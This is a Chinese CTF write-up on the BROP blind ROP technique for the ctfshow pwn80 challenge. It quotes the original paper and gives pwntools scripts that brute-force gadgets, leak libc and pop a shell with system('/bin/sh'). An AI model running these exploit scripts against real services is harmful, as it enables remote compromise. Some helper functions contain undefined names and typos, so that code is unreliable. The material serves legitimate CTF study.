brop

非常nb的论文,也是第一次看论文(真折磨吧)

由于此题是以ctfshow-Pwn入门的pwn80为例,所以写的示例脚本也是基于这个题目

概述:

如何在64bit启用了canary,pie,aslr且对这个程序没有半点information的情况下攻击这个程序

前提条件:

如果想要攻击成功的话,首先被攻击程序得有一个栈溢出漏洞,而且崩溃之后不会重置地址的布局(也就是crash之后不会重新随机化一次)

攻击链条(attack chain)

其实就是攻击步骤,不过attack chain感觉听起来比较帅啊

丢一段原文搁这,不能只有我一个人被折磨

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
H. Attack summary
The optimized BROP attack is as follows:
1) Find where the executable is loaded. Either 0x400000
for non-PIE executables (default) or stack read a
saved return address.
2) Find a stop gadget. This is typically a blocking
system call (like sleep or read) in the PLT. The
attacker finds the PLT in this step too.
3) Find the BROP gadget. The attacker can now control
the first two arguments to calls.
4) Find strcmp in the PLT. The attacker can now
control the first three arguments to calls.
5) Find write in the PLT. The attacker can now dump
the entire binary to find more gadgets.
6) Build a shellcode and exploit the server.

1、找出缓冲区的长度,其实只要顺序爆破一下就好了,输入一个逐渐变长的字符串,找到程序崩溃的临界点,临界值就是缓冲区的长度。不过如果存在canary的话,就覆盖不到ret的位置了,那应该就不会崩溃,需要先对canary进行爆破,但是对canary的爆破也很简单,如果canary每次都不会变的话,只需要一个字节一个字节的进行爆破就可以将原来的正确canary还原出来。

image-20240826223422764

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show","28284")

def getBufferLength():
i = 1
while True:
try:
p = remote("pwn.challenge.ctf.show","28284")
p.recvuntil("Welcome to CTFshow-PWN ! Do you know who is daniu?\n")
# 这里注意不要用sendline,sendline会多一个回车
p.send(i*b'a')
data = p.recv()
p.close()
if b"No passwd" in data:
i += 1
else: return i-1
except EOFError:
p.close()
return i-1
if __name__ == "__main__":
buf_length = getBufferLength()
print(buf_length)
# buf_length = 72

2、爆破出缓冲区的长度之后,第二步要做的就是找到一个stop_gadget,即可以让程序停止但不会导致程序崩溃的gadget(其实就是爆破一遍地址,看看是不是有函数的入口或者无限循环函数之类的gadget)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 A starting address can be found from the initial stack
reading phase or 0x400000 can be used on default non-PIE
Linux

这句话解释的是如何确定BROP(Blind Return Oriented Programming)攻击中的爆破起始地址。具体来说,它涉及两种情况下如何选择爆破的起始地址:

1. 从初始堆栈读取阶段中找到起始地址
- 在 BROP 攻击的初始阶段,攻击者可能会通过某种方式泄露或读取当前程序堆栈中的内容。这可以提供一些信息,如返回地址或函数调用的地址,这些地址可能指向程序的可执行代码段(通常是 `.text` 段)。
- 根据堆栈中的返回地址,攻击者可以确定可能存在可利用的 gadgets 的代码段起始地址。这个地址可以作为后续爆破的起始点。

2. 使用默认的 0x400000 地址作为起始地址(适用于非 PIE 的 Linux 程序)
- 在 Linux 系统上,如果程序没有启用 PIE(Position Independent Executable,位置无关可执行文件),那么程序的可执行文件通常会被加载到一个固定的地址,即 `0x400000`。这个地址是 ELF 格式的非 PIE 可执行文件的默认基地址。
- 因此,在针对非 PIE 程序进行 BROP 爆破时,如果无法获得堆栈中的信息,攻击者可以使用 `0x400000` 作为爆破的起始地址,去寻找有效的 gadgets。

总结
- 初始堆栈读取:通过读取堆栈内容确定程序代码段的基址,作为爆破起始点。
- 0x400000 地址:对于非 PIE 的 Linux 程序,可以默认使用 `0x400000` 作为起始地址进行爆破。

这两种方法可以帮助攻击者有效地找到程序中的 gadgets,并进一步进行 BROP 攻击。

原理其实也很简单,由于这个stop_gadget是要覆盖在ret的位置的,如果随便ret到一个bad_gadget,其实程序崩溃的可能性是很大的,但是如果程序没有崩溃,此时就可以认为找到了一个stop_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
buf_length = 72

def getStopGadget():
# 没有任何意义的initial_address,单纯是感觉写address比较膈应
initial_address = 0x400000
address = initial_address
while True:
print(hex(address))
try:
p = remote("pwn.challenge.ctf.show","28284")
p.recvuntil("Welcome to CTFshow-PWN ! Do you know who is daniu?\n")
p.send(cyclic(buf_length) + p64(address))
data = p.recv()
p.close()
if b"Welcome to CTFshow-PWN ! Do you know who is daniu?" in data:
return address
else:
p.close()
address += 1
except EOFError:
address += 1
p.close()

根据这个师傅的文章BROP 攻击技术 | PWN-腾讯云开发者社区-腾讯云 (tencent.com),也可以通过条件判断来爆破出main的地址。

3、爆破出stop_gadget之后,就可以通过stop_gadget和trap_gadget之间的排列组合来寻找useful_gadget,也就是真正有用的gadget,可以对寄存器进行操作,别忘了我们的目的是调用write之类的函数将程序的二进制文件给dump出来(虽然在本题中是通过puts函数,因为只有一个函数会比较方便调用)

trap_gadget就是会导致程序崩溃的gadget,比如你直接ret指向0x0,它肯定就直接炸了

接下来是看原文环节,我觉得原文这一段还写的挺好的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
The idea is that by varying the position of the stop and trap on the stack, one can deduce the instructions being executed by the gadget, either because the trap or stop will execute, causing a crash or no crash respectively. 

Here are some examples and possible stack layouts:
• probe, stop, traps (trap, trap, . . . ). Will find gadgets
that do not pop the stack like ret or xor rax,
rax; ret.
• probe, trap, stop, traps. Will find gadgets that pop
exactly one stack word like pop rax; ret or pop
rdi; ret. Figure 10 shows an illustration of this.
• probe, stop, stop, stop, stop, stop, stop, stop, traps.
Will find gadgets that pop up to six words (e.g., the
BROP gadget).

The traps at the end of each sequence ensure that if a gadget skips over the stop gadgets, a crash will occur. In practice only a few traps (if any) will be necessary because the stack will likely already contain values (e.g., strings, integers) that will cause crashes when interpreted as return addresses.

简单来说,就是可以通过stop_gadget和trap_gadget组合的方式来试出被测试的gadget到底有几个pop

此处还有一个重要的知识点,就是在BROP中存在一个叫BROP_gadget的东西,一连pop六次,并且通过gadget+偏移值可以拼凑出另一个重要的gadget,pop rsi(其实也就是通用gadget),在这个师傅的文章BROP 攻击技术 | PWN-腾讯云开发者社区-腾讯云 (tencent.com)中同样有提及,而且有图片,更好理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def getBropGadget(buf_length,stop_gadget):
brop_gadget = stop_gadget
while True:
sleep(0.1)
brop_gadget += 1
payload = b'a' * buf_length
payload += p64(brop_gadget)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_gadget)
try:
p = remote("pwn.challenge.ctf.show","28212")
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % brop_gadget)
try: # check
payload = b'a' * buf_length
payload += p64(brop_gadget)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p.remote("pwn.challenge.ctf.show","28212")
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % brop_gadget)
except:
p.close()
log.info("gadget address: 0x%x" % brop_gadget)
return brop_address
except EOFError as e:
p.close()
log.info("bad: 0x%x" % brop_gadget)
except:
log.info("Can't connect")
brop_gadget -= 1

如果pop6次之后还能正常结束就是正确的brop_gadget,然后再check一次,在不加stop_gadget的情况下,如果程序crash了就返回正确的brop_gadget

4、找到puts所在的位置,即plt表的位置

接下来再看看原文

1
To control the third argument (rdx) one needs to find a call to strcmp, which sets rdx to the length of the string compared. The PLT is a jump table at the beginning of the executable used for all external calls (e.g., libc). For example, a call to strcmp will actually be a call to the PLT. The PLT will then dereference the Global Offset Table (GOT) and jump to the address stored in it. The GOT will be populated by the dynamic loader with the addresses of library calls depending on where in memory the library got loaded. The GOT is populated lazily, so the first time each PLT entry is called, it will take a slow path via dlresolve to resolve the symbol location and populate the GOT entry for the next time. The structure of the PLT is shown in Figure 11. It has a very unique signature: each entry is 16 bytes apart (16 bytes aligned) and the slow path for each entry can be run at an offset of 6 bytes.

原文使用的是不同的偏移来找plt表,直接看最后一句

不过此处不采用这种方式,而是爆破一手,如果有输出的话就是爆破到puts函数了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def getPutsAddr(buf_length,stop_gadget,brop_gadget):
pop_rdi_ret = brop_gadget + 9
puts_addr = stop_gadget
while True:
sleep(0.1)
puts_addr += 1
payload = b'a' * buf_length
payload += p64(pop_rdi_ret)
payload += p64(0x400000)
payload += p64(stop_gadget)
try:
p = remote("pwn.challenge.ctf.show","28212")
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts_addr: 0x%x" % puts_addr)
p.close()
return puts_addr
log.info("bad: 0x%x" % puts_addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % puts_addr)
except:
log.info("Can't connect")
puts_addr -= 1

5、不是哥们,puts函数都找到了后面还用我解释吗?

原文说的还是dump内存啊,不过基于本题的话只需要用ret2libc就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def DumpMemory(buf_length,stop_gadget,brop_gadget,puts_addr,start_addr,end_addr):
pop_rdi_addr = brop_gadget + 9
res = ""
while start_addr < end_addr:
sleep(0.1)
payload = b'a' * buf_length
payload += p64(pop_rdi_addr)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_gadget)
try:
p = remote("pwn.challenge.ctf.show","28276")
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1)
if data == '\n':
data = b'\x00'
elif data[-1] == '\n':
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info('Can't connect')
return result

6、最终脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show","28258")
context(arch='amd64',os='linux',log_level='debug')


def getBufferLength():
i = 1
while True:
try:
p = remote("pwn.challenge.ctf.show","28258")
p.recvuntil("Welcome to CTFshow-PWN ! Do you know who is daniu?\n")
# 这里注意不要用sendline,sendline会多一个回车
p.send(i*b'a')
data = p.recv()
p.close()
if b"No passwd" in data:
i += 1
else:
return i-1
except EOFError:
p.close()
return i-1

def getStopGadget(buf_length):
# 没有任何意义的initial_address,单纯是感觉写address比较膈应
initial_address = 0x400000
address = initial_address
while True:
print(hex(address))
try:
p = remote("pwn.challenge.ctf.show","28258")
p.recvuntil("Welcome to CTFshow-PWN ! Do you know who is daniu?\n")
p.send(cyclic(buf_length) + p64(address))
data = p.recv()
p.close()
if b"Welcome to CTFshow-PWN ! Do you know who is daniu?" in data:
return address
else:
p.close()
address += 1
except EOFError:
address += 1
p.close()


def getBropGadget(buf_length,stop_gadget):
brop_gadget = stop_gadget
while True:
sleep(1)
brop_gadget += 1
payload = b'a' * buf_length
payload += p64(brop_gadget)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_gadget)
try:
p = remote("pwn.challenge.ctf.show","28258")
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % brop_gadget)
try: # check
payload = b'a' * buf_length
payload += p64(brop_gadget)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote("pwn.challenge.ctf.show","28258")
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % brop_gadget)
except:
p.close()
log.info("gadget address: 0x%x" % brop_gadget)
return brop_address
except EOFError as e:
p.close()
log.info("bad: 0x%x" % brop_gadget)
except:
log.info("Can't connect")
brop_gadget -= 1

def getPutsAddr(buf_length,stop_gadget,brop_gadget):
pop_rdi_ret = brop_gadget + 9
puts_addr = stop_gadget
while True:
sleep(1)
puts_addr += 1
payload = b'a' * buf_length
payload += p64(pop_rdi_ret)
payload += p64(0x400000)
payload += p64(stop_gadget)
try:
p = remote("pwn.challenge.ctf.show","28258")
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts_addr: 0x%x" % puts_addr)
p.close()
return puts_addr
log.info("bad: 0x%x" % puts_addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % puts_addr)
except:
log.info("Can't connect")
puts_addr -= 1



def DumpMemory(buf_length,stop_gadget,brop_gadget,puts_addr,start_addr,end_addr):
pop_rdi_addr = brop_gadget + 9
res = ""
while start_addr < end_addr:
sleep(1)
payload = b'a' * buf_length
payload += p64(pop_rdi_addr)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_gadget)
try:
p = remote("pwn.challenge.ctf.show","28258")
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1)
if data == '\n':
data = b'\x00'
elif data[-1] == '\n':
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
return result



if __name__ == "__main__":
buf_length = 72
stop_gadgets = 0x400728
brop_gadgets = 0x4007ba
pop_rdi_ret = 0x400843
puts_plt = 0x400550
puts_got = 0x602018
p.recvuntil('Do you know who is daniu?\n')
payload = b'a' * buf_length
payload += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)
payload += p64(stop_gadgets)
p.sendline(payload)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts)
libc_base = puts - libc.dump('puts')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a' * buf_length + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
p.sendline(payload)
p.interactive()

那个sleep的时间可能要调长一点,虚拟机的配置不是很高,网速延迟也有点高的话可能收不到那个返回值,就很容易错过正确的gadget(所以最后我还是用了官方wp给的数据,跑起来有点太耗时了,还得经常给容器延时,麻烦呀)